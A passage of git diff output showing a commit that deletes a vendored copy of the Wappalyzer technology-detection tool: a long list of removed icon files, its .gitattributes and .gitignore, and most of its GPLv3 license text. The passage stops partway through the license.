Wappalyzer/share/images/icons/Pure CSS.png delete mode 100644 Wappalyzer/share/images/icons/Python.png delete mode 100644 Wappalyzer/share/images/icons/Quantcast.png delete mode 100644 Wappalyzer/share/images/icons/Quick.CMS.png delete mode 100644 Wappalyzer/share/images/icons/Quick.Cart.png delete mode 100644 Wappalyzer/share/images/icons/RAID HTTPServer.png delete mode 100644 Wappalyzer/share/images/icons/RBS Change.png delete mode 100644 Wappalyzer/share/images/icons/RCMS.png delete mode 100644 Wappalyzer/share/images/icons/RDoc.png delete mode 100644 Wappalyzer/share/images/icons/RackCache.png delete mode 100644 Wappalyzer/share/images/icons/Raphael.png delete mode 100644 Wappalyzer/share/images/icons/Rapid Logic.png delete mode 100644 Wappalyzer/share/images/icons/React.png delete mode 100644 Wappalyzer/share/images/icons/ReallyCMS.png delete mode 100644 Wappalyzer/share/images/icons/Red Hat.png delete mode 100644 Wappalyzer/share/images/icons/Reddit.png delete mode 100644 Wappalyzer/share/images/icons/Redmine.png delete mode 100644 Wappalyzer/share/images/icons/Reinvigorate.png delete mode 100644 Wappalyzer/share/images/icons/RequireJS.png delete mode 100644 Wappalyzer/share/images/icons/Reveal.js.png delete mode 100644 Wappalyzer/share/images/icons/RiteCMS.png delete mode 100644 Wappalyzer/share/images/icons/RoundCube.png delete mode 100644 Wappalyzer/share/images/icons/Ruby on Rails.png delete mode 100644 Wappalyzer/share/images/icons/Ruby.png delete mode 100644 Wappalyzer/share/images/icons/S.Builder.png delete mode 100644 Wappalyzer/share/images/icons/SAP.png delete mode 100644 Wappalyzer/share/images/icons/SDL Tridion.png delete mode 100644 Wappalyzer/share/images/icons/SIMsite.png delete mode 100644 Wappalyzer/share/images/icons/SMF.png delete mode 100644 Wappalyzer/share/images/icons/SOBI 2.png delete mode 100644 Wappalyzer/share/images/icons/SPDY.png delete mode 100644 Wappalyzer/share/images/icons/SPIP.png delete mode 100644 Wappalyzer/share/images/icons/SQL Buddy.png delete mode 100644 Wappalyzer/share/images/icons/SQLite.png delete mode 100644 Wappalyzer/share/images/icons/SUSE.png delete mode 100644 Wappalyzer/share/images/icons/SWFObject.png delete mode 100644 Wappalyzer/share/images/icons/Saia PCD.png delete mode 100644 Wappalyzer/share/images/icons/Sarka-SPIP.png delete mode 100644 Wappalyzer/share/images/icons/Scala.png delete mode 100644 Wappalyzer/share/images/icons/Schneider Web Server.png delete mode 100644 Wappalyzer/share/images/icons/Schneider.png delete mode 100644 Wappalyzer/share/images/icons/Scientific Linux.png delete mode 100644 Wappalyzer/share/images/icons/Sencha Touch.png delete mode 100755 Wappalyzer/share/images/icons/Sentinel Keys Server.png delete mode 100755 Wappalyzer/share/images/icons/Sentinel License Monitor.png delete mode 100755 Wappalyzer/share/images/icons/Sentinel Protection Server.png delete mode 100644 Wappalyzer/share/images/icons/Seoshop.png delete mode 100644 Wappalyzer/share/images/icons/Serendipity.png delete mode 100644 Wappalyzer/share/images/icons/Shadow.png delete mode 100644 Wappalyzer/share/images/icons/ShareThis.png delete mode 100644 Wappalyzer/share/images/icons/ShinyStat.png delete mode 100644 Wappalyzer/share/images/icons/Shopalize.png delete mode 100644 Wappalyzer/share/images/icons/Shopatron.png delete mode 100644 Wappalyzer/share/images/icons/Shopify.png delete mode 100644 Wappalyzer/share/images/icons/Shopware.png delete mode 100644 Wappalyzer/share/images/icons/Silva.png delete mode 100644 Wappalyzer/share/images/icons/SilverStripe.png delete mode 100644 Wappalyzer/share/images/icons/SimpleHTTP.png delete mode 100644 Wappalyzer/share/images/icons/Site Meter.png delete mode 100644 Wappalyzer/share/images/icons/SiteCatalyst.png delete mode 100644 Wappalyzer/share/images/icons/SiteDNK.png delete mode 100644 Wappalyzer/share/images/icons/SiteEdit.png delete mode 100644 Wappalyzer/share/images/icons/Sitecore.png delete mode 100644 Wappalyzer/share/images/icons/Sivuviidakko.png delete mode 100644 Wappalyzer/share/images/icons/Sizmek.png delete mode 100644 Wappalyzer/share/images/icons/Skimlinks.png delete mode 100644 Wappalyzer/share/images/icons/Slimbox 2.png delete mode 100644 Wappalyzer/share/images/icons/Slimbox.png delete mode 100644 Wappalyzer/share/images/icons/Smart Ad Server.png delete mode 100644 Wappalyzer/share/images/icons/SmartSite.png delete mode 100644 Wappalyzer/share/images/icons/Smartstore.png delete mode 100644 Wappalyzer/share/images/icons/Snap.svg.png delete mode 100644 Wappalyzer/share/images/icons/Snoobi.png delete mode 100644 Wappalyzer/share/images/icons/SobiPro.png delete mode 100644 Wappalyzer/share/images/icons/Socket.io.png delete mode 100644 Wappalyzer/share/images/icons/Solodev.png delete mode 100644 Wappalyzer/share/images/icons/SoundManager.png delete mode 100644 Wappalyzer/share/images/icons/Sphinx.png delete mode 100644 Wappalyzer/share/images/icons/SpiderControl iniNet.png delete mode 100755 Wappalyzer/share/images/icons/Splunk.png delete mode 100755 Wappalyzer/share/images/icons/Splunkd.png delete mode 100644 Wappalyzer/share/images/icons/Spree.png delete mode 100644 Wappalyzer/share/images/icons/Squarespace.png delete mode 100644 Wappalyzer/share/images/icons/Squiz Matrix.png delete mode 100644 Wappalyzer/share/images/icons/Starlet.png delete mode 100644 Wappalyzer/share/images/icons/StatCounter.png delete mode 100644 Wappalyzer/share/images/icons/Store Systems.png delete mode 100644 Wappalyzer/share/images/icons/Stripe.png delete mode 100644 Wappalyzer/share/images/icons/SublimeVideo.png delete mode 100755 Wappalyzer/share/images/icons/Subrion.png delete mode 100644 Wappalyzer/share/images/icons/SunOS.png delete mode 100644 Wappalyzer/share/images/icons/Supersized.png delete mode 100644 Wappalyzer/share/images/icons/Swiftlet.png delete mode 100644 Wappalyzer/share/images/icons/Synology DiskStation.png delete mode 100644 Wappalyzer/share/images/icons/TWiki.png delete mode 100644 Wappalyzer/share/images/icons/TYPO3 CMS.png delete mode 100644 Wappalyzer/share/images/icons/TYPO3 Flow.png delete mode 100644 Wappalyzer/share/images/icons/TYPO3 Neos.png delete mode 100644 Wappalyzer/share/images/icons/TYPOlight.png delete mode 100644 Wappalyzer/share/images/icons/Tealeaf.png delete mode 100644 Wappalyzer/share/images/icons/TeamCity.png delete mode 100644 Wappalyzer/share/images/icons/Tengine.png delete mode 100644 Wappalyzer/share/images/icons/Textpattern CMS.png delete mode 100644 Wappalyzer/share/images/icons/TiddlyWiki.png delete mode 100644 Wappalyzer/share/images/icons/Tiki Wiki CMS Groupware.png delete mode 100644 Wappalyzer/share/images/icons/Timeline.png delete mode 100644 Wappalyzer/share/images/icons/Timeplot.png delete mode 100644 Wappalyzer/share/images/icons/TinyMCE.png delete mode 100644 Wappalyzer/share/images/icons/Titan.png delete mode 100644 Wappalyzer/share/images/icons/TomatoCart.png delete mode 100644 Wappalyzer/share/images/icons/TornadoServer.png delete mode 100644 Wappalyzer/share/images/icons/Trac.png delete mode 100644 Wappalyzer/share/images/icons/TrackJs.png delete mode 100644 Wappalyzer/share/images/icons/Tumblr.png delete mode 100644 Wappalyzer/share/images/icons/Twilight CMS.png delete mode 100644 Wappalyzer/share/images/icons/TwistPHP.png delete mode 100644 Wappalyzer/share/images/icons/TwistedWeb.png delete mode 100644 Wappalyzer/share/images/icons/Twitter Bootstrap.png delete mode 100644 Wappalyzer/share/images/icons/TypePad.png delete mode 100644 Wappalyzer/share/images/icons/Typekit.png delete mode 100644 Wappalyzer/share/images/icons/UIKit.png delete mode 100644 Wappalyzer/share/images/icons/UNIX.png delete mode 100644 Wappalyzer/share/images/icons/Ubercart.png delete mode 100644 Wappalyzer/share/images/icons/Ubuntu.png delete mode 100644 Wappalyzer/share/images/icons/UltraCart.png delete mode 100644 Wappalyzer/share/images/icons/Umbraco.png delete mode 100644 Wappalyzer/share/images/icons/Underscore.js.png delete mode 100644 Wappalyzer/share/images/icons/UserRules.png delete mode 100644 Wappalyzer/share/images/icons/UserVoice.png delete mode 100644 Wappalyzer/share/images/icons/Ushahidi.png delete mode 100644 Wappalyzer/share/images/icons/VIVVO.png delete mode 100644 Wappalyzer/share/images/icons/VP-ASP.png delete mode 100644 Wappalyzer/share/images/icons/Vanilla.png delete mode 100644 Wappalyzer/share/images/icons/Varnish.png delete mode 100644 Wappalyzer/share/images/icons/Veoxa.png delete mode 100644 Wappalyzer/share/images/icons/VideoJS.png delete mode 100644 Wappalyzer/share/images/icons/VigLink.png delete mode 100644 Wappalyzer/share/images/icons/Vignette.png delete mode 100644 Wappalyzer/share/images/icons/Vimeo.png delete mode 100644 Wappalyzer/share/images/icons/Virata EmWeb.png delete mode 100644 Wappalyzer/share/images/icons/VirtueMart.png delete mode 100644 Wappalyzer/share/images/icons/Visual WebGUI.png delete mode 100644 Wappalyzer/share/images/icons/VisualPath.png delete mode 100644 Wappalyzer/share/images/icons/Volusion.png delete mode 100644 Wappalyzer/share/images/icons/Vox.png delete mode 100644 Wappalyzer/share/images/icons/Vue.js.png delete mode 100644 Wappalyzer/share/images/icons/W3 Total Cache.png delete mode 100644 Wappalyzer/share/images/icons/W3Counter.png delete mode 100644 Wappalyzer/share/images/icons/WP Rocket.png delete mode 100644 Wappalyzer/share/images/icons/Web Optimizer.png delete mode 100644 Wappalyzer/share/images/icons/Web2py.png delete mode 100644 Wappalyzer/share/images/icons/WebGUI.png delete mode 100644 Wappalyzer/share/images/icons/WebPublisher.png delete mode 100644 Wappalyzer/share/images/icons/Webix.png delete mode 100644 Wappalyzer/share/images/icons/WebsPlanet.png delete mode 100644 Wappalyzer/share/images/icons/Websale.png delete mode 100644 Wappalyzer/share/images/icons/WebsiteBaker.png delete mode 100644 Wappalyzer/share/images/icons/Webtrekk.png delete mode 100644 Wappalyzer/share/images/icons/Webtrends.png delete mode 100644 Wappalyzer/share/images/icons/Weebly.png delete mode 100644 Wappalyzer/share/images/icons/WikkaWiki.png delete mode 100644 Wappalyzer/share/images/icons/Windows CE.png delete mode 100644 Wappalyzer/share/images/icons/Windows Server.png delete mode 100644 Wappalyzer/share/images/icons/Wink.png delete mode 100644 Wappalyzer/share/images/icons/Winstone Servlet Container.png delete mode 100644 Wappalyzer/share/images/icons/Wix.png delete mode 100644 Wappalyzer/share/images/icons/Wolf CMS.png delete mode 100644 Wappalyzer/share/images/icons/WooCommerce.png delete mode 100644 Wappalyzer/share/images/icons/Woopra.png delete mode 100644 Wappalyzer/share/images/icons/WordPress Super Cache.png delete mode 100644 Wappalyzer/share/images/icons/WordPress.png delete mode 100755 Wappalyzer/share/images/icons/Wowza Media Server.png delete mode 100644 Wappalyzer/share/images/icons/X-Cart.png delete mode 100755 Wappalyzer/share/images/icons/XAMPP.png delete mode 100644 Wappalyzer/share/images/icons/XMB.png delete mode 100644 Wappalyzer/share/images/icons/XOOPS.png delete mode 100644 Wappalyzer/share/images/icons/XRegExp.png delete mode 100644 Wappalyzer/share/images/icons/Xajax.png delete mode 100644 Wappalyzer/share/images/icons/Xanario.png delete mode 100644 Wappalyzer/share/images/icons/XenForo.png delete mode 100755 Wappalyzer/share/images/icons/XiTi.png delete mode 100644 Wappalyzer/share/images/icons/Xitami.png delete mode 100644 Wappalyzer/share/images/icons/YUI Doc.png delete mode 100644 Wappalyzer/share/images/icons/YUI.png delete mode 100644 Wappalyzer/share/images/icons/YaBB.png delete mode 100644 Wappalyzer/share/images/icons/Yahoo Advertising.png delete mode 100644 Wappalyzer/share/images/icons/Yahoo! Ecommerce.png delete mode 100644 Wappalyzer/share/images/icons/Yahoo! Web Analytics.png delete mode 100644 Wappalyzer/share/images/icons/Yandex.Direct.png delete mode 100644 Wappalyzer/share/images/icons/Yandex.Metrika.png delete mode 100644 Wappalyzer/share/images/icons/Yieldlab.png delete mode 100644 Wappalyzer/share/images/icons/Yii.png delete mode 100644 Wappalyzer/share/images/icons/YouTube.png delete mode 100644 Wappalyzer/share/images/icons/ZK.png delete mode 100644 Wappalyzer/share/images/icons/ZURB Foundation.png delete mode 100755 Wappalyzer/share/images/icons/Zabbix.png delete mode 100644 Wappalyzer/share/images/icons/Zanox.png delete mode 100644 Wappalyzer/share/images/icons/Zen Cart.png delete mode 100644 Wappalyzer/share/images/icons/Zend.png delete mode 100644 Wappalyzer/share/images/icons/Zepto.png delete mode 100644 Wappalyzer/share/images/icons/Zeuscart.png delete mode 100644 Wappalyzer/share/images/icons/Zinnia.png delete mode 100644 Wappalyzer/share/images/icons/Zope.png delete mode 100644 Wappalyzer/share/images/icons/amCharts.png delete mode 100644 Wappalyzer/share/images/icons/basket.js.png delete mode 100644 Wappalyzer/share/images/icons/cPanel.png delete mode 100644 Wappalyzer/share/images/icons/cgit.png delete mode 100644 Wappalyzer/share/images/icons/comScore.png delete mode 100755 Wappalyzer/share/images/icons/debut.png delete mode 100644 Wappalyzer/share/images/icons/default.png delete mode 100644 Wappalyzer/share/images/icons/dwhttpd.png delete mode 100644 Wappalyzer/share/images/icons/e107.png delete mode 100644 Wappalyzer/share/images/icons/eDevice SmartStack.png delete mode 100644 Wappalyzer/share/images/icons/eHTTP.png delete mode 100755 Wappalyzer/share/images/icons/eSyndiCat.png delete mode 100644 Wappalyzer/share/images/icons/eZ Publish.png delete mode 100644 Wappalyzer/share/images/icons/flask.png delete mode 100644 Wappalyzer/share/images/icons/git.png delete mode 100644 Wappalyzer/share/images/icons/gitweb.png delete mode 100644 Wappalyzer/share/images/icons/gunicorn.png delete mode 100644 Wappalyzer/share/images/icons/iCongo.png delete mode 100644 Wappalyzer/share/images/icons/iWeb.png delete mode 100644 Wappalyzer/share/images/icons/io4-CMS.png delete mode 100644 Wappalyzer/share/images/icons/jQTouch.png delete mode 100644 Wappalyzer/share/images/icons/jQuery Mobile.png delete mode 100644 Wappalyzer/share/images/icons/jQuery Sparklines.png delete mode 100644 Wappalyzer/share/images/icons/jQuery UI.png delete mode 100644 Wappalyzer/share/images/icons/jQuery.png delete mode 100644 Wappalyzer/share/images/icons/jqPlot.png delete mode 100644 Wappalyzer/share/images/icons/libwww-perl-daemon.png delete mode 100644 Wappalyzer/share/images/icons/lighttpd.png delete mode 100644 Wappalyzer/share/images/icons/math.js.png delete mode 100644 Wappalyzer/share/images/icons/mini_httpd.png delete mode 100755 Wappalyzer/share/images/icons/mod_auth_pam.png delete mode 100644 Wappalyzer/share/images/icons/mod_fastcgi.png delete mode 100755 Wappalyzer/share/images/icons/mod_jk.png delete mode 100755 Wappalyzer/share/images/icons/mod_perl.png delete mode 100644 Wappalyzer/share/images/icons/mod_python.png delete mode 100644 Wappalyzer/share/images/icons/mod_rack.png delete mode 100644 Wappalyzer/share/images/icons/mod_rails.png delete mode 100644 Wappalyzer/share/images/icons/mod_ssl.png delete mode 100644 Wappalyzer/share/images/icons/mod_wsgi.png delete mode 100644 Wappalyzer/share/images/icons/node.js.png delete mode 100644 Wappalyzer/share/images/icons/nopCommerce.png delete mode 100644 Wappalyzer/share/images/icons/openEngine.png delete mode 100644 Wappalyzer/share/images/icons/osCSS.png delete mode 100644 Wappalyzer/share/images/icons/osCommerce.png delete mode 100644 Wappalyzer/share/images/icons/ownCloud.png delete mode 100644 Wappalyzer/share/images/icons/papaya CMS.png delete mode 100644 Wappalyzer/share/images/icons/phpAlbum.png delete mode 100644 Wappalyzer/share/images/icons/phpBB.png delete mode 100644 Wappalyzer/share/images/icons/phpCMS.png delete mode 100644 Wappalyzer/share/images/icons/phpDocumentor.png delete mode 100644 Wappalyzer/share/images/icons/phpMyAdmin.png delete mode 100644 Wappalyzer/share/images/icons/phpPgAdmin.png delete mode 100644 Wappalyzer/share/images/icons/phpSQLiteCMS.png delete mode 100644 Wappalyzer/share/images/icons/phpwind.png delete mode 100644 Wappalyzer/share/images/icons/prettyPhoto.png delete mode 100644 Wappalyzer/share/images/icons/punBB.png delete mode 100644 Wappalyzer/share/images/icons/reCAPTCHA.png delete mode 100644 Wappalyzer/share/images/icons/sIFR.png delete mode 100644 Wappalyzer/share/images/icons/sNews.png delete mode 100644 Wappalyzer/share/images/icons/script.aculo.us.png delete mode 100644 Wappalyzer/share/images/icons/spin.js.png delete mode 100644 Wappalyzer/share/images/icons/swift.engine.png delete mode 100644 Wappalyzer/share/images/icons/three.js.png delete mode 100644 Wappalyzer/share/images/icons/thttpd.png delete mode 100644 Wappalyzer/share/images/icons/total.js.png delete mode 100755 Wappalyzer/share/images/icons/uCore.png delete mode 100644 Wappalyzer/share/images/icons/vBulletin.png delete mode 100644 Wappalyzer/share/images/icons/viennaCMS.png delete mode 100644 Wappalyzer/share/images/icons/webEdition.png delete mode 100644 Wappalyzer/share/images/icons/xCharts.png delete mode 100644 Wappalyzer/share/images/icons/xtCommerce.png delete mode 100644 Wappalyzer/share/images/icons/xui.png delete mode 100644 Wappalyzer/share/images/icons/yepnope.js.png delete mode 100644 Wappalyzer/share/js/wappalyzer.js diff --git a/Wappalyzer/.gitattributes b/Wappalyzer/.gitattributes deleted file mode 100644 index 41aa20c..0000000 --- a/Wappalyzer/.gitattributes +++ /dev/null @@ -1,19 +0,0 @@ -# End-of-line normalization -* text=auto - -*.cmd text eol=lf -*.sh text eol=lf -*.md text eol=lf -*.json text eol=lf -*.js text eol=lf -*.html text eol=lf -*.css text eol=lf -*.manifest text eol=lf -*.rdf text eol=lf -*.xul text eol=lf -*.dtd text eol=lf -*.properties text eol=lf -*.php text eol=lf - -*.png binary -*.gif binary diff --git a/Wappalyzer/.gitignore b/Wappalyzer/.gitignore deleted file mode 100644 index 4e82153..0000000 --- a/Wappalyzer/.gitignore +++ /dev/null @@ -1,11 +0,0 @@ -wappalyzer-chrome.zip -wappalyzer-firefox.xpi -wappalyzer.xpi - -drivers/**/apps.json -drivers/**/wappalyzer.js -drivers/**/icons/*.png - -!.gitkeep - -node_modules/* diff --git a/Wappalyzer/LICENSE b/Wappalyzer/LICENSE deleted file mode 100644 index 20d40b6..0000000 --- a/Wappalyzer/LICENSE +++ /dev/null @@ -1,674 +0,0 @@ - GNU GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 - - Copyright (C) 2007 Free Software Foundation, Inc. - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - Preamble - - The GNU General Public License is a free, copyleft license for -software and other kinds of works. - - The licenses for most software and other practical works are designed -to take away your freedom to share and change the works. By contrast, -the GNU General Public License is intended to guarantee your freedom to -share and change all versions of a program--to make sure it remains free -software for all its users. We, the Free Software Foundation, use the -GNU General Public License for most of our software; it applies also to -any other work released this way by its authors. You can apply it to -your programs, too. - - When we speak of free software, we are referring to freedom, not -price. Our General Public Licenses are designed to make sure that you -have the freedom to distribute copies of free software (and charge for -them if you wish), that you receive source code or can get it if you -want it, that you can change the software or use pieces of it in new -free programs, and that you know you can do these things. - - To protect your rights, we need to prevent others from denying you -these rights or asking you to surrender the rights. Therefore, you have -certain responsibilities if you distribute copies of the software, or if -you modify it: responsibilities to respect the freedom of others. - - For example, if you distribute copies of such a program, whether -gratis or for a fee, you must pass on to the recipients the same -freedoms that you received. You must make sure that they, too, receive -or can get the source code. And you must show them these terms so they -know their rights. - - Developers that use the GNU GPL protect your rights with two steps: -(1) assert copyright on the software, and (2) offer you this License -giving you legal permission to copy, distribute and/or modify it. - - For the developers' and authors' protection, the GPL clearly explains -that there is no warranty for this free software. For both users' and -authors' sake, the GPL requires that modified versions be marked as -changed, so that their problems will not be attributed erroneously to -authors of previous versions. - - Some devices are designed to deny users access to install or run -modified versions of the software inside them, although the manufacturer -can do so. This is fundamentally incompatible with the aim of -protecting users' freedom to change the software. The systematic -pattern of such abuse occurs in the area of products for individuals to -use, which is precisely where it is most unacceptable. Therefore, we -have designed this version of the GPL to prohibit the practice for those -products. If such problems arise substantially in other domains, we -stand ready to extend this provision to those domains in future versions -of the GPL, as needed to protect the freedom of users. - - Finally, every program is threatened constantly by software patents. -States should not allow patents to restrict development and use of -software on general-purpose computers, but in those that do, we wish to -avoid the special danger that patents applied to a free program could -make it effectively proprietary. To prevent this, the GPL assures that -patents cannot be used to render the program non-free. - - The precise terms and conditions for copying, distribution and -modification follow. - - TERMS AND CONDITIONS - - 0. Definitions. - - "This License" refers to version 3 of the GNU General Public License. - - "Copyright" also means copyright-like laws that apply to other kinds of -works, such as semiconductor masks. - - "The Program" refers to any copyrightable work licensed under this -License. Each licensee is addressed as "you". "Licensees" and -"recipients" may be individuals or organizations. - - To "modify" a work means to copy from or adapt all or part of the work -in a fashion requiring copyright permission, other than the making of an -exact copy. The resulting work is called a "modified version" of the -earlier work or a work "based on" the earlier work. - - A "covered work" means either the unmodified Program or a work based -on the Program. - - To "propagate" a work means to do anything with it that, without -permission, would make you directly or secondarily liable for -infringement under applicable copyright law, except executing it on a -computer or modifying a private copy. Propagation includes copying, -distribution (with or without modification), making available to the -public, and in some countries other activities as well. - - To "convey" a work means any kind of propagation that enables other -parties to make or receive copies. Mere interaction with a user through -a computer network, with no transfer of a copy, is not conveying. - - An interactive user interface displays "Appropriate Legal Notices" -to the extent that it includes a convenient and prominently visible -feature that (1) displays an appropriate copyright notice, and (2) -tells the user that there is no warranty for the work (except to the -extent that warranties are provided), that licensees may convey the -work under this License, and how to view a copy of this License. If -the interface presents a list of user commands or options, such as a -menu, a prominent item in the list meets this criterion. - - 1. Source Code. - - The "source code" for a work means the preferred form of the work -for making modifications to it. "Object code" means any non-source -form of a work. - - A "Standard Interface" means an interface that either is an official -standard defined by a recognized standards body, or, in the case of -interfaces specified for a particular programming language, one that -is widely used among developers working in that language. - - The "System Libraries" of an executable work include anything, other -than the work as a whole, that (a) is included in the normal form of -packaging a Major Component, but which is not part of that Major -Component, and (b) serves only to enable use of the work with that -Major Component, or to implement a Standard Interface for which an -implementation is available to the public in source code form. A -"Major Component", in this context, means a major essential component -(kernel, window system, and so on) of the specific operating system -(if any) on which the executable work runs, or a compiler used to -produce the work, or an object code interpreter used to run it. - - The "Corresponding Source" for a work in object code form means all -the source code needed to generate, install, and (for an executable -work) run the object code and to modify the work, including scripts to -control those activities. However, it does not include the work's -System Libraries, or general-purpose tools or generally available free -programs which are used unmodified in performing those activities but -which are not part of the work. For example, Corresponding Source -includes interface definition files associated with source files for -the work, and the source code for shared libraries and dynamically -linked subprograms that the work is specifically designed to require, -such as by intimate data communication or control flow between those -subprograms and other parts of the work. - - The Corresponding Source need not include anything that users -can regenerate automatically from other parts of the Corresponding -Source. - - The Corresponding Source for a work in source code form is that -same work. - - 2. Basic Permissions. - - All rights granted under this License are granted for the term of -copyright on the Program, and are irrevocable provided the stated -conditions are met. This License explicitly affirms your unlimited -permission to run the unmodified Program. The output from running a -covered work is covered by this License only if the output, given its -content, constitutes a covered work. This License acknowledges your -rights of fair use or other equivalent, as provided by copyright law. - - You may make, run and propagate covered works that you do not -convey, without conditions so long as your license otherwise remains -in force. You may convey covered works to others for the sole purpose -of having them make modifications exclusively for you, or provide you -with facilities for running those works, provided that you comply with -the terms of this License in conveying all material for which you do -not control copyright. Those thus making or running the covered works -for you must do so exclusively on your behalf, under your direction -and control, on terms that prohibit them from making any copies of -your copyrighted material outside their relationship with you. - - Conveying under any other circumstances is permitted solely under -the conditions stated below. Sublicensing is not allowed; section 10 -makes it unnecessary. - - 3. Protecting Users' Legal Rights From Anti-Circumvention Law. - - No covered work shall be deemed part of an effective technological -measure under any applicable law fulfilling obligations under article -11 of the WIPO copyright treaty adopted on 20 December 1996, or -similar laws prohibiting or restricting circumvention of such -measures. - - When you convey a covered work, you waive any legal power to forbid -circumvention of technological measures to the extent such circumvention -is effected by exercising rights under this License with respect to -the covered work, and you disclaim any intention to limit operation or -modification of the work as a means of enforcing, against the work's -users, your or third parties' legal rights to forbid circumvention of -technological measures. - - 4. Conveying Verbatim Copies. - - You may convey verbatim copies of the Program's source code as you -receive it, in any medium, provided that you conspicuously and -appropriately publish on each copy an appropriate copyright notice; -keep intact all notices stating that this License and any -non-permissive terms added in accord with section 7 apply to the code; -keep intact all notices of the absence of any warranty; and give all -recipients a copy of this License along with the Program. - - You may charge any price or no price for each copy that you convey, -and you may offer support or warranty protection for a fee. - - 5. Conveying Modified Source Versions. - - You may convey a work based on the Program, or the modifications to -produce it from the Program, in the form of source code under the -terms of section 4, provided that you also meet all of these conditions: - - a) The work must carry prominent notices stating that you modified - it, and giving a relevant date. - - b) The work must carry prominent notices stating that it is - released under this License and any conditions added under section - 7. This requirement modifies the requirement in section 4 to - "keep intact all notices". - - c) You must license the entire work, as a whole, under this - License to anyone who comes into possession of a copy. This - License will therefore apply, along with any applicable section 7 - additional terms, to the whole of the work, and all its parts, - regardless of how they are packaged. This License gives no - permission to license the work in any other way, but it does not - invalidate such permission if you have separately received it. - - d) If the work has interactive user interfaces, each must display - Appropriate Legal Notices; however, if the Program has interactive - interfaces that do not display Appropriate Legal Notices, your - work need not make them do so. - - A compilation of a covered work with other separate and independent -works, which are not by their nature extensions of the covered work, -and which are not combined with it such as to form a larger program, -in or on a volume of a storage or distribution medium, is called an -"aggregate" if the compilation and its resulting copyright are not -used to limit the access or legal rights of the compilation's users -beyond what the individual works permit. Inclusion of a covered work -in an aggregate does not cause this License to apply to the other -parts of the aggregate. - - 6. Conveying Non-Source Forms. - - You may convey a covered work in object code form under the terms -of sections 4 and 5, provided that you also convey the -machine-readable Corresponding Source under the terms of this License, -in one of these ways: - - a) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by the - Corresponding Source fixed on a durable physical medium - customarily used for software interchange. - - b) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by a - written offer, valid for at least three years and valid for as - long as you offer spare parts or customer support for that product - model, to give anyone who possesses the object code either (1) a - copy of the Corresponding Source for all the software in the - product that is covered by this License, on a durable physical - medium customarily used for software interchange, for a price no - more than your reasonable cost of physically performing this - conveying of source, or (2) access to copy the - Corresponding Source from a network server at no charge. - - c) Convey individual copies of the object code with a copy of the - written offer to provide the Corresponding Source. This - alternative is allowed only occasionally and noncommercially, and - only if you received the object code with such an offer, in accord - with subsection 6b. - - d) Convey the object code by offering access from a designated - place (gratis or for a charge), and offer equivalent access to the - Corresponding Source in the same way through the same place at no - further charge. You need not require recipients to copy the - Corresponding Source along with the object code. If the place to - copy the object code is a network server, the Corresponding Source - may be on a different server (operated by you or a third party) - that supports equivalent copying facilities, provided you maintain - clear directions next to the object code saying where to find the - Corresponding Source. Regardless of what server hosts the - Corresponding Source, you remain obligated to ensure that it is - available for as long as needed to satisfy these requirements. - - e) Convey the object code using peer-to-peer transmission, provided - you inform other peers where the object code and Corresponding - Source of the work are being offered to the general public at no - charge under subsection 6d. - - A separable portion of the object code, whose source code is excluded -from the Corresponding Source as a System Library, need not be -included in conveying the object code work. - - A "User Product" is either (1) a "consumer product", which means any -tangible personal property which is normally used for personal, family, -or household purposes, or (2) anything designed or sold for incorporation -into a dwelling. In determining whether a product is a consumer product, -doubtful cases shall be resolved in favor of coverage. For a particular -product received by a particular user, "normally used" refers to a -typical or common use of that class of product, regardless of the status -of the particular user or of the way in which the particular user -actually uses, or expects or is expected to use, the product. A product -is a consumer product regardless of whether the product has substantial -commercial, industrial or non-consumer uses, unless such uses represent -the only significant mode of use of the product. - - "Installation Information" for a User Product means any methods, -procedures, authorization keys, or other information required to install -and execute modified versions of a covered work in that User Product from -a modified version of its Corresponding Source. The information must -suffice to ensure that the continued functioning of the modified object -code is in no case prevented or interfered with solely because -modification has been made. - - If you convey an object code work under this section in, or with, or -specifically for use in, a User Product, and the conveying occurs as -part of a transaction in which the right of possession and use of the -User Product is transferred to the recipient in perpetuity or for a -fixed term (regardless of how the transaction is characterized), the -Corresponding Source conveyed under this section must be accompanied -by the Installation Information. But this requirement does not apply -if neither you nor any third party retains the ability to install -modified object code on the User Product (for example, the work has -been installed in ROM). - - The requirement to provide Installation Information does not include a -requirement to continue to provide support service, warranty, or updates -for a work that has been modified or installed by the recipient, or for -the User Product in which it has been modified or installed. Access to a -network may be denied when the modification itself materially and -adversely affects the operation of the network or violates the rules and -protocols for communication across the network. - - Corresponding Source conveyed, and Installation Information provided, -in accord with this section must be in a format that is publicly -documented (and with an implementation available to the public in -source code form), and must require no special password or key for -unpacking, reading or copying. - - 7. Additional Terms. - - "Additional permissions" are terms that supplement the terms of this -License by making exceptions from one or more of its conditions. -Additional permissions that are applicable to the entire Program shall -be treated as though they were included in this License, to the extent -that they are valid under applicable law. If additional permissions -apply only to part of the Program, that part may be used separately -under those permissions, but the entire Program remains governed by -this License without regard to the additional permissions. - - When you convey a copy of a covered work, you may at your option -remove any additional permissions from that copy, or from any part of -it. (Additional permissions may be written to require their own -removal in certain cases when you modify the work.) You may place -additional permissions on material, added by you to a covered work, -for which you have or can give appropriate copyright permission. - - Notwithstanding any other provision of this License, for material you -add to a covered work, you may (if authorized by the copyright holders of -that material) supplement the terms of this License with terms: - - a) Disclaiming warranty or limiting liability differently from the - terms of sections 15 and 16 of this License; or - - b) Requiring preservation of specified reasonable legal notices or - author attributions in that material or in the Appropriate Legal - Notices displayed by works containing it; or - - c) Prohibiting misrepresentation of the origin of that material, or - requiring that modified versions of such material be marked in - reasonable ways as different from the original version; or - - d) Limiting the use for publicity purposes of names of licensors or - authors of the material; or - - e) Declining to grant rights under trademark law for use of some - trade names, trademarks, or service marks; or - - f) Requiring indemnification of licensors and authors of that - material by anyone who conveys the material (or modified versions of - it) with contractual assumptions of liability to the recipient, for - any liability that these contractual assumptions directly impose on - those licensors and authors. - - All other non-permissive additional terms are considered "further -restrictions" within the meaning of section 10. If the Program as you -received it, or any part of it, contains a notice stating that it is -governed by this License along with a term that is a further -restriction, you may remove that term. If a license document contains -a further restriction but permits relicensing or conveying under this -License, you may add to a covered work material governed by the terms -of that license document, provided that the further restriction does -not survive such relicensing or conveying. - - If you add terms to a covered work in accord with this section, you -must place, in the relevant source files, a statement of the -additional terms that apply to those files, or a notice indicating -where to find the applicable terms. - - Additional terms, permissive or non-permissive, may be stated in the -form of a 